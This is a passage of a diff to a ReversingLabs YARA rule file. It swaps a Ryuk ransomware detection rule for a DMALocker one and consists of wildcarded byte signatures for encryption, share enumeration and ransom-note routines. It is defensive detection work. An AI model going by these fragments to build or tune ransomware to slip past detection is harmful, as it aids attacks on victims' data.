+            2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ??
+            F3 0F 7E 05 ?? ?? ?? ?? 83 C4 ?? 66 0F D6 04 33 8B F3 8D 4E ?? 8A 06 46 84 C0 75 ??
+            2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 53 57 E8 ?? ?? ?? ??
+            6A ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 8D 4E ?? 8A 06 46 84
+            C0 75 ?? 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ??
+            ?? ?? ?? 6A ?? 8D 04 33 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 66
+            90 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ??
+            56 53 57 E8 ?? ?? ?? ?? 6A ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B
+            CF 5B 8D 51 ?? 0F 1F 40 ?? 8A 01 41 84 C0 75 ?? 8B 75 ?? 8D 45 ?? 6A ?? 50 2B CA 51
+            57 56 FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 64 89 0D ?? ?? ?? ?? 8B E5 5D C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ((( all of ($encrypt_files_v1_p*)) and ( all of ($find_files_v1_p*)) and ($create_scheduled_task_v1) and ($remote_connection_v1) and ($check_mutex_v1)) or (($find_files_v2) and ( all of ($encrypt_files_v2_p*)) and ($remote_connection_v2) and ( all of ($drop_ransom_note_v2_p*))))
 }
-rule REVERSINGLABS_Win32_Ransomware_Ryuk : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Dmalocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Ryuk ransomware."
+		description = "Yara rule that detects DMALocker ransomware."
 		author = "ReversingLabs"
-		id = "179c9277-0bdc-522a-a822-cf93febff408"
+		id = "3ddef0f1-61c9-59f6-a02c-35768c2cd4d6"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Ryuk.yara#L1-L199"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "bf93892b281be20917656e242cbb0f3b3694439556b7e5e40a424ba1aa909105"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.DMALocker.yara#L1-L149"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "107dbc4cacd9d451e9c6fe8aa91cd612f70ac767ee70f74f3a77d1e5548b054f"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -25698,186 +27079,140 @@ rule REVERSINGLABS_Win32_Ransomware_Ryuk : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Ryuk"
+		tc_detection_name = "DMALocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ??
-            6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 55 ?? 52
-            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
-            ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ??
-            ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 D2 89 55 ?? 0F 57 C0 66 0F 13
-            45 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8D 55 ?? 52 8B 45
-            ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 83 7D ?? ?? 77 ?? 81 7D
-            ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ??
-            6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ??
-            89 55 ?? 83 7D ?? ?? 72 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 6A ?? 6A ?? 8B 4D ?? 51
-            8B 55 ?? 52 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52
-            50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 77
-            ?? 83 7D ?? ?? 77 ?? 72 ?? 83 7D ?? ?? 73 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 83 7D ?? ?? 77 ?? 72
-            ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 6A
-            ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? 89
-            55 ?? EB ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 6A ?? 6A ?? 8B 55 ??
-            52 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
-            52 50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D
+		$dmalock_v1_encrypt_files_1 = {
+            83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ??
+            ?? ?? A3 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83
+            F8 ?? 75 ?? 32 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8A 9D ?? ?? ??
+            ?? 33 C0 84 DB 74 ?? EB ?? 8D [2-5] 8A 90 ?? ?? ?? ?? 84 D2 74 ?? 8A 8C 05
+            ?? ?? ?? ?? 3A CA 74 ?? 80 F1 ?? 3A CA 75 ?? 40 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 8A 8C
+            05 ?? ?? ?? ?? 3A 88 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 84 DB 74 ?? 8A 90 ?? ?? ??
+            ?? 84 D2 74 ?? 8A 8C 05 ?? ?? ?? ?? 3A CA
         }
-		$encrypt_files_p2 = {
-            77 ?? 83 7D ?? ?? 77 ?? 72 ?? 83 7D ?? ?? 77 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? 8B 4D ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 72 ??
-            83 7D ?? ?? 73 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D
-            ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F
-            86 ?? ?? ?? ?? 8B 4D ?? 81 E9 ?? ?? ?? ?? 89 4D ?? 6A ?? 6A ?? 8B 55 ?? 52 8B 45 ??
-            50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ??
-            ?? ?? ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ??
-            89 45 ?? 83 7D ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ??
-            8B 55 ?? 83 C2 ?? 89 55 ?? 83 7D ?? ?? 0F 83 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ??
-            ?? 8B 45 ?? 0F BE 8C 05 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 0F BE 84 15
-            ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 4D ?? 0F BE 94 0D ?? ?? ?? ?? 83 FA ?? 0F
-            85 ?? ?? ?? ?? 8B 45 ?? 0F BE 8C 05 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55 ??
-            0F BE 84 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 4D ?? 0F BE 94 0D ?? ?? ?? ??
-            83 FA ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 8D ??
-            ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 66 A1 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ??
-            ?? ?? ?? ?? 75 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ??
-            8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 55 ?? 52 8B 45 ??
-            50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9
+		$dmalock_v1_encrypt_files_2 = {
+            EB ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? 52 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
+            ?? 8B 4D ?? 5F 5E 33 CD B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$encrypt_files_p3 = {
-            6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ??
-            ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50
-            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D
-            ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 6A ?? 6A ?? 6A
-            ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 50 8B 45 ?? 50 FF 15 ?? ??
-            ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B
-            55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ??
-            8D 45 ?? 50 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ??
-            51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 6A ??
-            68 ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 68
+		$dmalock_v1_encrypt_files_3 = {
+            74 ?? 80 F1 ?? 3A CA 75 ?? 40 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 8A 8C 05 ?? ?? ?? ?? 3A
+            88 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 8D 95 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 52 E8 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 83 C4 ?? A8 ?? 74 ?? A8 ?? 0F 85 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 56 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 55
+            ?? 8B 85 ?? ?? ?? ?? 52 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4
         }
-		$encrypt_files_p4 = {
-            8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 0F 87 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 75 ?? 8B 4D ?? 89 4D ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 69 55 ?? ?? ?? ?? ?? 52 8B 45 ?? 50 FF 15
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ??
-            ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B
-            4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ??
-            ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ??
-            ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 8B 4D ?? 51 6A
-            ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ??
-            51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 8D 45 ?? 50 8B 4D ??
-            51 6A ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D ?? 51 FF
-            15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A
-            ?? 69 45 ?? ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ??
-            ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ??
-            ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ??
-            50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55
-            ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9
+		$dmalock_v1_enum_shares_and_discs_type_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ??
+            ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 C4 ?? 89 ?? ?? ?? ?? ?? C6 85 ??
+            ?? ?? ?? ?? 85 ?? 0F 84 ?? ?? ?? ?? ?? 32 DB E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? ??
+            8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 ?? 6A ?? 89 45 ?? 66 89 45 ?? 88 45 ?? 8D 45 ??
+            6A ?? 50 88 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 75 ?? B3 ?? 6A ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 5F 5E 5B 8B 4D ?? 33 CD
+            E8 ?? ?? ?? ?? 8B E5 5D C3 8D 95 ?? ?? ?? ?? 52 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 83 BD ?? ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 72 ?? C6
+            85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ??
+            8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 51 52 68
         }
-		$encrypt_files_p5 = {
-            E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8A 0D ?? ?? ?? ?? 88 4D ?? 33 D2 89 55
-            ?? 89 55 ?? 89 55 ?? 89 55 ?? 88 55 ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ??
-            ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 33 C9 89 8D ?? ?? ?? ?? 6A ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50
-            8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ??
-            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ??
-            ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ??
-            83 C4 ?? 8D 4D ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 45 ?? 50 8D 4D ??
-            51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8D 45 ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 50 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ??
-            75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ??
-            50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ??
-            ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 55 ?? 52 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8B 4D
-            ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B
+		$dmalock_v1_enum_shares_and_discs_type_2 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 8B 5D ?? 56 57
+            8D 8D ?? ?? ?? ?? 51 50 6A ?? 6A ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 33 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8B 95 ?? ?? ??
+            ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 85 FF 75 ?? 50 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ??
+            ?? 8D A4 24 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 57 8D 95 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? 76 ?? 8D 77 ?? EB ?? 8D A4 24
+            ?? ?? ?? ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51
+            C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0E 8B C1 83 C4 ?? 8D 78 ?? 8B FF 8A 10 40 84
+            D2 75 ?? 2B C7 50 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 06 83 C4 ?? 8D 50 ?? 90
+            8A 08 40 84 C9 75 ?? 2B C2 6A ?? 8D 84 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 8B 4D ?? 83 C4 ?? 51 8D 95 ?? ?? ?? ?? 53 52 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83
+            C4 ?? 8B 46 ?? 83 E0 ?? 3C ?? 75 ?? 8B 4D ?? 51 53 8D 56 ?? 52 E8 ?? ?? ?? ?? 85 C0
+            75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 40 83 C6 ?? 89 85 ??
+            ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 50
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 8B 4D ?? F7 D8 5F 1B C0 5E 33 CD 40 5B E8 ?? ?? ?? ?? 8B E5 5D C2
         }
-		$encrypt_files_p6 = {
-            45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8B 55 ??
-            52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D
-            ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ??
-            ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 D2 89 55 ?? 0F 57 C0 66 0F 13 45
-            ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D 95 ?? ??
-            ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
-            83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ??
-            ?? B8 ?? ?? ?? ?? EB ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 55 ??
-            52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D
-            ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? B8
-            ?? ?? ?? ?? 8B E5 5D C3
+		$dmalock_v1_enum_shares_and_discs_type_3 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ??
+            ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? 6A ?? 51 8B D8 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ?? ?? ?? BF ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
